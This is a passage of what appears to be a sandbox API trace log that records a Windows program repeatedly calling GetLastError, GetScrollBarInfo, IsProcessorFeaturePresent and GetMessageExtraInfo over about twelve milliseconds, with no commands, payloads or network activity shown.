0x0 [0042.339] SetLastError (dwErrCode=0x0) [0042.340] GetLastError () returned 0x0 [0042.340] SetLastError (dwErrCode=0x0) [0042.340] GetMessageExtraInfo () returned 0x0 [0042.340] GetLastError () returned 0x0 [0042.340] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.340] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.340] GetMessageExtraInfo () returned 0x0 [0042.340] GetLastError () returned 0x578 [0042.340] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.340] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.340] GetMessageExtraInfo () returned 0x0 [0042.340] GetLastError () returned 0x578 [0042.340] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.340] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.340] GetMessageExtraInfo () returned 0x0 [0042.340] GetLastError () returned 0x578 [0042.340] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.340] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.340] GetMessageExtraInfo () returned 0x0 [0042.340] GetLastError () returned 0x578 [0042.340] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.340] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.341] GetMessageExtraInfo () returned 0x0 [0042.341] GetLastError () returned 0x578 [0042.341] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.341] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.341] GetMessageExtraInfo () returned 0x0 [0042.341] GetLastError () returned 0x578 [0042.341] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.341] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.341] GetMessageExtraInfo () returned 0x0 [0042.341] GetLastError () returned 0x578 [0042.341] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.341] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.341] GetMessageExtraInfo () returned 0x0 [0042.341] GetLastError () returned 0x578 [0042.341] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.341] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.341] GetMessageExtraInfo () returned 0x0 [0042.341] GetLastError () returned 0x578 [0042.341] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.341] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.341] GetMessageExtraInfo () returned 0x0 [0042.341] GetLastError () returned 0x578 [0042.341] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.341] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.341] GetMessageExtraInfo () returned 0x0 [0042.341] GetLastError () returned 0x578 [0042.341] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.341] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.341] GetMessageExtraInfo () returned 0x0 [0042.341] GetLastError () returned 0x578 [0042.341] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.341] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.341] GetMessageExtraInfo () returned 0x0 [0042.341] GetLastError () returned 0x578 [0042.341] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.341] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.341] GetMessageExtraInfo () returned 0x0 [0042.341] GetLastError () returned 0x578 [0042.341] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.342] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.342] GetMessageExtraInfo () returned 0x0 [0042.342] GetLastError () returned 0x578 [0042.342] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.342] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.342] GetMessageExtraInfo () returned 0x0 [0042.342] GetLastError () returned 0x578 [0042.342] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.342] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.342] GetMessageExtraInfo () returned 0x0 [0042.342] GetLastError () returned 0x578 [0042.342] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.342] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.342] GetMessageExtraInfo () returned 0x0 [0042.342] GetLastError () returned 0x578 [0042.342] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.342] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.342] GetMessageExtraInfo () returned 0x0 [0042.342] GetLastError () returned 0x578 [0042.342] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.342] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.342] GetMessageExtraInfo () returned 0x0 [0042.342] GetLastError () returned 0x578 [0042.342] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.342] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.342] GetMessageExtraInfo () returned 0x0 [0042.342] GetLastError () returned 0x578 [0042.342] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.342] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.342] GetMessageExtraInfo () returned 0x0 [0042.342] GetLastError () returned 0x578 [0042.342] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.342] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.342] GetMessageExtraInfo () returned 0x0 [0042.342] GetLastError () returned 0x578 [0042.342] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.342] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.342] GetMessageExtraInfo () returned 0x0 [0042.342] GetLastError () returned 0x578 [0042.342] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.343] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.343] GetMessageExtraInfo () returned 0x0 [0042.343] GetLastError () returned 0x578 [0042.343] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.343] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.343] GetMessageExtraInfo () returned 0x0 [0042.343] GetLastError () returned 0x578 [0042.343] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.343] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.343] GetMessageExtraInfo () returned 0x0 [0042.343] GetLastError () returned 0x578 [0042.343] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.343] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.343] GetMessageExtraInfo () returned 0x0 [0042.343] GetLastError () returned 0x578 [0042.343] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.343] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.343] GetMessageExtraInfo () returned 0x0 [0042.343] GetLastError () returned 0x578 [0042.343] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.343] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.343] GetMessageExtraInfo () returned 0x0 [0042.343] GetLastError () returned 0x578 [0042.343] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.343] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.344] GetMessageExtraInfo () returned 0x0 [0042.344] GetLastError () returned 0x578 [0042.344] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.344] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.344] GetMessageExtraInfo () returned 0x0 [0042.344] GetLastError () returned 0x578 [0042.344] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.344] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.344] GetMessageExtraInfo () returned 0x0 [0042.344] GetLastError () returned 0x578 [0042.344] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.344] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.344] GetMessageExtraInfo () returned 0x0 [0042.344] GetLastError () returned 0x578 [0042.344] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.344] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.344] GetMessageExtraInfo () returned 0x0 [0042.344] GetLastError () returned 0x578 [0042.344] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.344] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.344] GetMessageExtraInfo () returned 0x0 [0042.344] GetLastError () returned 0x578 [0042.344] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.344] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.344] GetMessageExtraInfo () returned 0x0 [0042.344] GetLastError () returned 0x578 [0042.344] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.344] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.344] GetMessageExtraInfo () returned 0x0 [0042.344] GetLastError () returned 0x578 [0042.344] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.344] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.344] GetMessageExtraInfo () returned 0x0 [0042.344] GetLastError () returned 0x578 [0042.344] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.344] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.344] GetMessageExtraInfo () returned 0x0 [0042.344] GetLastError () returned 0x578 [0042.344] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.345] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.345] GetMessageExtraInfo () returned 0x0 [0042.345] GetLastError () returned 0x578 [0042.345] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.345] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.345] GetMessageExtraInfo () returned 0x0 [0042.345] GetLastError () returned 0x578 [0042.345] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.345] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.345] GetMessageExtraInfo () returned 0x0 [0042.345] GetLastError () returned 0x578 [0042.345] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.345] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.345] GetMessageExtraInfo () returned 0x0 [0042.345] GetLastError () returned 0x578 [0042.345] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.345] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.345] GetMessageExtraInfo () returned 0x0 [0042.345] GetLastError () returned 0x578 [0042.345] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.345] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.345] GetMessageExtraInfo () returned 0x0 [0042.345] GetLastError () returned 0x578 [0042.345] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.345] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.345] GetMessageExtraInfo () returned 0x0 [0042.345] GetLastError () returned 0x578 [0042.345] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.345] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.345] GetMessageExtraInfo () returned 0x0 [0042.345] GetLastError () returned 0x578 [0042.345] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.345] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.345] GetMessageExtraInfo () returned 0x0 [0042.345] GetLastError () returned 0x578 [0042.345] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.345] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.345] GetMessageExtraInfo () returned 0x0 [0042.345] GetLastError () returned 0x578 [0042.346] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.346] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.346] GetMessageExtraInfo () returned 0x0 [0042.346] GetLastError () returned 0x578 [0042.346] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.346] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.346] GetMessageExtraInfo () returned 0x0 [0042.346] GetLastError () returned 0x578 [0042.346] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.346] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.346] GetMessageExtraInfo () returned 0x0 [0042.346] GetLastError () returned 0x578 [0042.346] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.346] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.346] GetMessageExtraInfo () returned 0x0 [0042.346] GetLastError () returned 0x578 [0042.346] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.346] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.346] GetMessageExtraInfo () returned 0x0 [0042.346] GetLastError () returned 0x578 [0042.346] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.346] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.346] GetMessageExtraInfo () returned 0x0 [0042.346] GetLastError () returned 0x578 [0042.346] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.346] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.346] GetMessageExtraInfo () returned 0x0 [0042.346] GetLastError () returned 0x578 [0042.346] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.346] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.346] GetMessageExtraInfo () returned 0x0 [0042.346] GetLastError () returned 0x578 [0042.346] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.346] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.346] GetMessageExtraInfo () returned 0x0 [0042.346] GetLastError () returned 0x578 [0042.346] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.346] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.346] GetMessageExtraInfo () returned 0x0 [0042.346] GetLastError () returned 0x578 [0042.347] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.347] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.347] GetMessageExtraInfo () returned 0x0 [0042.347] GetLastError () returned 0x578 [0042.347] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.347] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.347] GetMessageExtraInfo () returned 0x0 [0042.347] GetLastError () returned 0x578 [0042.347] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.347] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.347] GetMessageExtraInfo () returned 0x0 [0042.347] GetLastError () returned 0x578 [0042.347] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.347] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.347] GetMessageExtraInfo () returned 0x0 [0042.347] GetLastError () returned 0x578 [0042.347] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.347] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.347] GetMessageExtraInfo () returned 0x0 [0042.347] GetLastError () returned 0x578 [0042.347] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.347] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.347] GetMessageExtraInfo () returned 0x0 [0042.347] GetLastError () returned 0x578 [0042.347] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.347] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.347] GetMessageExtraInfo () returned 0x0 [0042.347] GetLastError () returned 0x578 [0042.347] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.347] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.347] GetMessageExtraInfo () returned 0x0 [0042.347] GetLastError () returned 0x578 [0042.347] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.347] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.347] GetMessageExtraInfo () returned 0x0 [0042.347] GetLastError () returned 0x578 [0042.347] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.348] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.348] GetMessageExtraInfo () returned 0x0 [0042.348] GetLastError () returned 0x578 [0042.348] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.348] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.348] GetMessageExtraInfo () returned 0x0 [0042.348] GetLastError () returned 0x578 [0042.348] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.348] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.348] GetMessageExtraInfo () returned 0x0 [0042.348] GetLastError () returned 0x578 [0042.348] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.348] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.348] GetMessageExtraInfo () returned 0x0 [0042.348] GetLastError () returned 0x578 [0042.348] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.348] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.348] GetMessageExtraInfo () returned 0x0 [0042.348] GetLastError () returned 0x578 [0042.348] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.348] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.348] GetMessageExtraInfo () returned 0x0 [0042.348] GetLastError () returned 0x578 [0042.348] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.348] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.348] GetMessageExtraInfo () returned 0x0 [0042.348] GetLastError () returned 0x578 [0042.348] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.348] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.348] GetMessageExtraInfo () returned 0x0 [0042.348] GetLastError () returned 0x578 [0042.348] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.348] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.348] GetMessageExtraInfo () returned 0x0 [0042.348] GetLastError () returned 0x578 [0042.348] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.348] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.348] GetMessageExtraInfo () returned 0x0 [0042.349] GetLastError () returned 0x578 [0042.349] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.349] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.349] GetMessageExtraInfo () returned 0x0 [0042.349] GetLastError () returned 0x578 [0042.349] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.349] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.349] GetMessageExtraInfo () returned 0x0 [0042.349] GetLastError () returned 0x578 [0042.349] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.349] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.349] GetMessageExtraInfo () returned 0x0 [0042.349] GetLastError () returned 0x578 [0042.349] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.349] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.349] GetMessageExtraInfo () returned 0x0 [0042.349] GetLastError () returned 0x578 [0042.349] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.349] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.349] GetMessageExtraInfo () returned 0x0 [0042.349] GetLastError () returned 0x578 [0042.349] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.349] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.349] GetMessageExtraInfo () returned 0x0 [0042.349] GetLastError () returned 0x578 [0042.349] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.349] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.349] GetMessageExtraInfo () returned 0x0 [0042.349] GetLastError () returned 0x578 [0042.349] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.349] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.349] GetMessageExtraInfo () returned 0x0 [0042.349] GetLastError () returned 0x578 [0042.349] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.349] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.349] GetMessageExtraInfo () returned 0x0 [0042.349] GetLastError () returned 0x578 [0042.349] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.350] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.350] GetMessageExtraInfo () returned 0x0 [0042.350] GetLastError () returned 0x578 [0042.350] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.350] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.350] GetMessageExtraInfo () returned 0x0 [0042.350] GetLastError () returned 0x578 [0042.350] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.350] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.350] GetMessageExtraInfo () returned 0x0 [0042.350] GetLastError () returned 0x578 [0042.350] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.350] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.350] GetMessageExtraInfo () returned 0x0 [0042.350] GetLastError () returned 0x578 [0042.350] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.350] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.350] GetMessageExtraInfo () returned 0x0 [0042.350] GetLastError () returned 0x578 [0042.350] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.350] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.350] GetMessageExtraInfo () returned 0x0 [0042.350] GetLastError () returned 0x578 [0042.350] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.350] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.350] GetMessageExtraInfo () returned 0x0 [0042.350] GetLastError () returned 0x578 [0042.350] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.350] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.350] GetMessageExtraInfo () returned 0x0 [0042.350] GetLastError () returned 0x578 [0042.350] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.350] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.350] GetMessageExtraInfo () returned 0x0 [0042.350] GetLastError () returned 0x578 [0042.350] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.350] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.350] GetMessageExtraInfo () returned 0x0 [0042.350] GetLastError () returned 0x578 [0042.350] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.351] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.351] GetMessageExtraInfo () returned 0x0 [0042.351] GetLastError () returned 0x578 [0042.351] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.351] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.351] GetMessageExtraInfo () returned 0x0 [0042.351] GetLastError () returned 0x578 [0042.351] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.351] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.351] GetMessageExtraInfo () returned 0x0 [0042.351] GetLastError () returned 0x578 [0042.351] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.351] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.351] GetMessageExtraInfo () returned 0x0 [0042.351] GetLastError () returned 0x578 [0042.351] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.351] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.351] GetMessageExtraInfo () returned 0x0 [0042.351] GetLastError () returned 0x578 [0042.351] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.351] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.351] GetMessageExtraInfo () returned 0x0 [0042.351] GetLastError () returned 0x578 [0042.351] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.351] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.351] GetMessageExtraInfo () returned 0x0 [0042.351] GetLastError () returned 0x578 [0042.351] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.351] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.351] GetMessageExtraInfo () returned 0x0 [0042.351] GetLastError () returned 0x578 [0042.351] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: 